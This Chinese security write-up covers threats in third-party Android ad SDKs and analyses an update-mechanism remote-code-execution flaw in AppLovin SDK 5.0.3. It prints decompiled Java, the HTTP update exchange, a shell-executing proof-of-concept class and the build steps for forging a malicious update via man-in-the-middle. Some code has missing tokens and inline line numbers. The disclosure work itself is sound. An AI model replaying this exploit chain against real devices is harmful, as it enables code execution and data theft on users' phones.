第三方sdk的包括广告、支付、统计、社交、推送,地图等类别,是广告商、支付公司、社交、推送平台,地图服务商等第三方服务公司为了便于应用开发人员使用其提供的服务而开发的工具包,封装了一些复杂的逻辑实现以及请求,响应解析的API,由于其使用的广泛性,一旦出现安全问题并且被黑客利用,其影响范围之广,危害之大不言而喻。
SDK的安全问题
首先,一些恶意的Sdk本身会存在着安全威胁,除了众所周知的获取用户隐私信息,如收集设备id(IMEI,IMSI等)、获取用户位置信息外,还存在着更严重的安全问题。比如某些sdk具有主动接收服务器指令的功能,它会根据需要收集短信、通话记录和联系人等敏感信息。另外,它还会执行如动态下载代码等危险操作。
其次,Sdk自身可能还会存在漏洞。如果这些漏洞被利用,攻击者就能够利用sdk本身存在的强大功能发动恶意的攻击行为,例如在用户毫无察觉的情况下打开相机拍照,通过发送短信盗取双因素认证令牌,或将设备变成僵尸网络的一部分。
下面介绍下目前在第三方sdk(主要是指广告sdk)中发现的恶意行为和漏洞。
恶意行为
- 收集用于定位和追踪用户的信息,如设备id和位置信息,
- 收集用户的邮箱地址以及安装在用户设备上的应用程序列表。
- 读取短信、邮件、电话通话记录和联系人列表,在没有任何访问控制措施的情况下通过web服务公开共享这些数据。
- 接收远程服务器指令,下载任意代码并执行。
- 数据明文传输
漏洞
- 通过明文传输数据
通过HTTP明文传输用户的隐私信息,使隐私信息很容易被窃取。FireEye 的研究者声称在Google Play的主流应用中有47%的广告sdk存在该漏洞。
- 使用HTTP协议传输数据
使用不安全的HTTP协议从控制服务器接收命令或者动态加载代码。攻击者可以通过中间人攻击,劫持HTTP数据包,冒充服务器下发恶意指令、推送恶意代码,将第三方sdk变成一个僵尸网络。
攻击者有许多方法来利用sdk的漏洞。比如劫持公共WiFi:当受害者的设备连接到公共WiFi热点(在咖啡店或机场等),攻击者可以在附近监听AppLovin广告sdk的数据包、注入恶意指令和代码。
攻击者也可以通过DNS劫持的方式来达到利用漏洞的目的。在DNS劫持攻击中,攻击者可以修改sdk广告服务器的DNS记录,把访问者重定向到攻击者自己的控制服务器,以便从受害者设备上收集隐私信息或者发送恶意控制指令到受害者设备上。
- Webview漏洞
WebView相当于一个浏览器窗口,应用程序可以使用它来显示网页内容。addJavascriptInterface这个API允许运行在WebView中的JavaScript代码来访问应用的native功能。攻击者可以利用此漏洞,使用应用已有的权限,通过恶意的JavaScript代码来对设备进行恶意操作。这个漏洞已经影响到超过90%的Android设备了。
为了降低安全风险,从Android 4.2开始,谷歌增加了一个叫做@JavascriptInterface的注解,开发人员可以使用它来定义需要暴露给WebView中的JavaScript代码的函数。这实质上是一个白名单机制,让开发者决定什么函数是允许被调用的。
然而添加 @JavascriptInterface注解只是在理论上降低了风险,其实际效用依赖于开发者如何使用它。另外,开发人员还可以添加代码,以便JavaScript调用任何应用暴露出来的函数(触发这些行为)都需要获得用户的许可。
- 使用动态加载的方式进行升级
采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分,却没有对动态加载的代码进行校验。如果该部分代码被黑客恶意篡改,则会给用户造成严重的安全威胁。
有些sdk本身具有危险行为,同时又存在漏洞,这种特性我们称之为“vulnaggressive”。这种特性并不局限于广告sdk,其它第三方组件和应用程序也存在。如果一个sdk具有“vulnaggressive”特性,则会使Android用户,尤其是企业用户面临严重的安全威胁。AppLovin广告sdk就是一个实例。
AppLovin的恶意威胁
AppLovin广告sdk的恶意行为表现在收集用户的敏感数据,嵌入了按需执行危险操作的功能,该sdk本身存在着严重的漏洞,使应用容易遭受攻击者入侵。攻击者利用sdk的漏洞,同时利用sdk本身的恶意行为,攻击者可以在用户的设备上下载并执行任意代码。然而使用这些第三方sdk的应用开发人员往往不知道其中存在的安全风险,从而给企业用户造成严重威胁。
在我们的研究中发现,许多包含AppLovin广告sdk的Android应用具有强大的权限,它们可以控制摄像机;读写短信、历史通话记录、联系人、浏览器历史记录和书签;并在桌面上创建快捷方式。
攻击者可以利用这些权限进行恶意操作。比如:
- 通过短信窃取双因素认证令牌
- 在SD卡上查看照片和其他文件
- 在桌面上安装图标用于钓鱼攻击
- 删除文件和销毁历史数据
- 冒充老板发送伪造的业务短信给商业伙伴
- 在没有通知用户的情况下删除接收到的短信
- 拨打电话
- 在没有通知用户的情况下使用相机拍照
- 读取书签或者将它们指向钓鱼网站
尽管AppLovin广告sdk造成了严重的威胁,但因其具有隐蔽性,所以更加防不胜防:
- AppLovin广告sdk通过HTTP头字段的数据编码,而不是HTTP响应体从广告服务器接收命令。
- AppLovin广告sdk的代码被混淆,这使得使用传统的分析方法变得困难。
- AppLovin广告sdk的行为难以用传统的分析方法来触发。例如,在一种流行的游戏中,AppLovin广告sdk仅在游戏中某些点执行,比如说达到游戏中的特定级别。当AppLovin广告sdk执行的时候,用户可见的唯一影响是在屏幕顶部的广告(如下图所示)。然而,AppLovin广告sdk却在背后悄悄执行其危险行为。
AppLovin广告sdk的屏幕截图
AppLovin漏洞剖析
AppLovin广告sdk5.0.3版本的升级机制存在远程代码执行漏洞。该广告sdk采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分。
该广告sdk会定期的通过http协议以明文方式与d.applovin.com进行数据传输。发送以下请求:
1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1 2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V) 3 Host: d.applovin.com 4 Connection: Keep-Alive 5 Accept-Encoding: gzip
然后服务端将进行响应,如果有更新,就把一个包含了要更新的sdk的jar文件下载到应用目录下一个叫“app_al_sdk”的文件夹中:
/data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar
当应用再次运行的时候,AppLovin广告library就会检测这个目录下是否存在更新的jar包,如果存在则将该jar包中的dex文件解压出来替换/data/data/<vulnerable application>/al_outdex文件,这样dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类就会被动态加载,其中的startUpdateDownload方法也将会被调用。
从源代码可以得知,当一个包含AppLovin广告sdk的应用启动后,一个‘boot’进程就会启动(由于反编译的关系,也可能是‘bootstrap’进程、‘boostrap’进程)。如下所示,com.applovin.impl.bootstrap包中的UpdateSDK类负责发送更新请求和处理服务器响应:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 class UpdateSDK extends Thread { 8 9 private final Context b; 10 11 public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) { 12 13 this.a = arg2; 14 15 super(); 16 17 this.b = arg3; 18 19 this.setName("AppLovinUpdateThread"); 20 21 } 22 23 public void run() { 24 25 SharedPreferences$Editor v0_3; 26 27 String SdkUpdateinterval; 28 29 int ResponseCode; 30 31 StringBuffer uri; 32 33 SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0); 34 35 String CheckSum = BootstrapSettings.getString("version", ""); 36 37 if(CheckSum == || CheckSum.length() < 1) { 38 39 CheckSum = "5.0.3"; 40 41 } 42 43 InputStream ResponseStream = ; 44 45 try { 46 47 SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: " 48 49 + CheckSum + "..."); 50 51 uri = new StringBuffer(GetUpdateUri.a(this.b)); 52 53 uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0 54 55 uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3 56 57 URLConnection RequestObject = new URL(uri.toString()).openConnection(); 58 59 ((HttpURLConnection)RequestObject).setRequestMethod("GET"); 60 61 ((HttpURLConnection)RequestObject).setConnectTimeout(20000); 62 63 ((HttpURLConnection)RequestObject).setReadTimeout(20000); 64 65 ((HttpURLConnection)RequestObject).setDefaultUseCaches(false); 66 67 ((HttpURLConnection)RequestObject).setAllowUserInteraction(false); 68 69 ((HttpURLConnection)RequestObject).setUseCaches(false); 70 71 ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true); 72 73 ((HttpURLConnection)RequestObject).setDoInput(true); 74 75 ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode(); 76 77 String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename? 78 79 String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum"); 80 81 SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval"); 82 83 String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID"); 84 85 SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: " 86 87 + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum 88 89 + ", " + "interval: " + SdkUpdateinterval + "}"); 90 91 if(ResponseCode == 200) { 92 93 if(SDKFileName != && SDKFileName.length() > 0) { 94 95 File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName); 96 97 ResponseStream = ((HttpURLConnection)RequestObject).getInputStream(); 98 99 CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile); 100 101 if(CheckSum != && (CheckSum.equals(SdkImpCheckSum))) { 102 103 SharedPreferences$Editor v3_2 = BootstrapSettings.edit(); 104 105 v3_2.putString("version", SDKFileName); 106 107 v3_2.putString("interface", "5.0.0"); 108 109 v3_2.putString("ServerEventId", AppLovinEventID); 110 111 v3_2.putString("ServerChecksum", CheckSum); 112 113 v3_2.commit(); 114 115 SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName); 116 117 goto label_130; 118 119 } 120 121 SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " + 122 123 SdkImpCheckSum + ", but got " + CheckSum); 124 125 goto label_130; 126 127 } 128 129 SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name"); 130 131 }
上述代码从"applovin.sdk.boostrap"配置文件中读取一个版本号作为checksum,然后构造和发送以下请求:
1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1 2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V) 3 Host: d.applovin.com 4 Connection: Keep-Alive 5 Accept-Encoding: gzip
然后对接收到的以下服务器响应信息进行处理:
1 HTTP/1.1 200 2 3 Server: nginx 4 5 Date: Mon, 21 Oct 2013 19:31:20 GMT 6 7 Content-Type: text/html 8 9 Connection: keep-alive 10 11 Vary: Accept-Encoding 12 13 Cache-Control: no-store, no-cache, must-revalidate 14 15 AppLovin-Sdk-Update-Interval: 10 16 17 AppLovin-Sdk-Next-Update-Time: 10 18 19 AppLovin-Sdk-Implementation: 5.0.3.jar 20 21 AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28 22 23 AppLovin-Event-ID: 123456 24 25 Content-Length: 1660
服务器会返回以上的响应信息,这些数据被写入到一个文件(文件名为AppLovin-Sdk-Implementation头的值,实际为一个jar包)中,同时会产生一个SHA1 哈希值与AppLovin-Sdk-Implementation-Checksum头的值进行匹配。响应头中其它信息如 AppLovin-Sdk-Update-Interval头 和 AppLovin-Sdk-Next-Update-Time头被写入到一个配置文件中以控制下次应用的更新时间间隔。
当应用再次启动时bootstrap进程初始化的流程就不同了。这个时候com.applovin.sdk.bootstrap包中的SdkBootstrap 类会从配置文件中读取这些值,如果发现这些值不匹配则不会通过控制器去启动更新机制。否则就去检查app_al_sdk目录下是否存在jar文件并与配置文件中的版本值相匹配,匹配则将jar包中的classess.dex文件解压到app_al_outdex文件夹中。
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBootstrap { 8 9 .. 10 11 .. 12 13 private void BootstrapSdkClassLoaderInit(Context AppContext) { 14 15 this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext); 16 17 SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0 18 19 ); 20 21 String versionVal = bootstrapPref.getString("version", ""); 22 23 String interfaceVal = bootstrapPref.getString("interface", ""); 24 25 if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) { 26 27 this.disable(); 28 29 } 30 31 else { 32 33 File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal); 34 35 if((FileNameParam1.exists()) && FileNameParam1.length() > 0) { 36 37 this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex" 38 39 , 0), SdkBootstrap.class.getClassLoader()); 40 41 goto checkForUpdates; 42 43 } 44 45 this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation" 46 47 ); 48 49 this.disable(); 50 51 } 52 53 .. 54 55 ..
在com.applovin.sdk.bootstrap.SdkClassLoader类中SdkClassLoader 方法被调用:
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkClassLoader extends DexClassLoader { 8 9 public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject 10 11 ) { 12 13 super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), , ClassLoaderObject 14 15 ); 16 17 } 18 19 .. 20 21 ..
类加载器对象加载classes.dex,并作为参数从checkForUpdates方法中传递到loadImplementation方法中:
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBootstrap { 8 9 .. 10 11 .. 12 13 public void checkForUpdates() 14 15 { 16 17 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) 18 19 { 20 21 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); 22 23 if (localSdkBoostrapTasks != ) 24 25 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); 26 27 } 28 29 }
loadImplementation 方法如下:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 8 9 .. 10 11 .. 12 13 try 14 15 { 16 17 String str1 = paramClass.getSimpleName(); 18 19 String str2 = paramClass.getPackage().getName(); 20 21 String str3 = str2.substring(1 + str2.lastIndexOf('.')); 22 23 String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl"; 24 25 a("Loading " + str4 + "..."); 26 27 Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance()); 28 29 return localObject; 30 31 }
这个方法从提供的classes.dex文件中加载com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类并且返回一个对象(即localSdkBoostrapTasks)给checkForUpdates方法,checkForUpdates方法再通过返回的这个对象调用startUpdateDownload方法。
1 public void checkForUpdates() 2 3 { 4 5 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) 6 7 { 8 9 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); 10 11 if (localSdkBoostrapTasks != ) 12 13 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); 14 15 } 16 17 }
SdkBoostrapTasksImpl 类中startUpdateDownload 方法原型如下:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 8 9 .. 10 11 .. 12 13 public void startUpdateDownload(Context paramContext) 14 15 { 16 17 this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext); 18 19 SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0); 20 21 long l1 = System.currentTimeMillis(); 22 23 long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L); 24 25 if ((l2 == 0L) || (l1 > l2)) 26 27 new b(this, paramContext).start(); 28 29 }
攻击者可以通过重新实现com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类中的startUpdateDownload 方法构造一个恶意的sdk更新。为了达到这个目的,需要对包含有漏洞的AppLovin sdk应用进行反编译。
$ unzip VulnerableApp.apk
利用dex2jar将解压后得到的classes.dex文件反编译成jar包:
$ dex2jar.sh classes.dex
创建一个eclipse工程,将工程Properties设置为“Is Library”(在工程右击-properties-Android最下面,有个Is library,选择后-apply确定,表示此工程可以公开给别的工程使用),然后将上一步得到的classes_dex2jar.jar文件复制到lib目录下。
$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
接下来创建com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl类,PoC如下:
1 package com.applovin.impl.bootstrap; 2 3 import java.io.BufferedWriter; 4 5 import java.io.IOException; 6 7 import java.io.OutputStreamWriter; 8 9 import android.content.Context; 10 11 import android.os.Environment; 12 13 import android.util.Log; 14 15 import com.applovin.sdk.bootstrap.SdkBoostrapTasks; 16 17 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 18 19 public SdkBoostrapTasksImpl() { 20 21 super(); 22 23 } 24 25 @Override 26 27 public void startUpdateDownload(Context AppContextParam) { 28 29 AppContextParam.getApplicationContext(); 30 31 Log.i("[mwr]", "startUpdateDownload — running our injected code"); 32 33 String path = Environment.getExternalStorageDirectory().getPath(); 34 35 String[] commands = { 36 37 "echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n", 38 39 "id >> " + path + "/mwr.txt\n" 40 41 }; 42 43 execCommands(commands); 44 45 } 46 47 public Boolean execCommands(String... command) { 48 49 Runtime rtime = Runtime.getRuntime(); 50 51 Process child = ; 52 53 try { 54 55 child = rtime.exec("/system/bin/sh"); 56 57 } catch (IOException e1) { 58 59 } 60 61 BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream())); 62 63 try { 64 65 for(int i = 0; i < command.length; i++) { 66 67 Log.i("[mwr]", "execCommands — executing " + command[i]); 68 69 outCommand.write(command[i]); 70 71 outCommand.flush(); 72 73 } 74 75 } catch (IOException e) { 76 77 } 78 79 return true; 80 81 } 82 83 }
上面的PoC会将当前用户id写入sd卡的mwr.txt文件中。如果这个lib库已经被编译成jar包,则必须用dx将其重打包为dex。
$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
(注:dx --dex --output=target.jar origin.jar 首先将origin.jar编译成origin.dex文件(Android虚拟机认识的字节码文件),然后再将origin.dex文件压缩成target.jar)
然后攻击者需要伪造服务器对客户端更新请求的响应并且发送恶意sdk更新,同时需要生成恶意jar包的checksum(sha1哈希):
$ shasum mwr_applovin_sdk.jar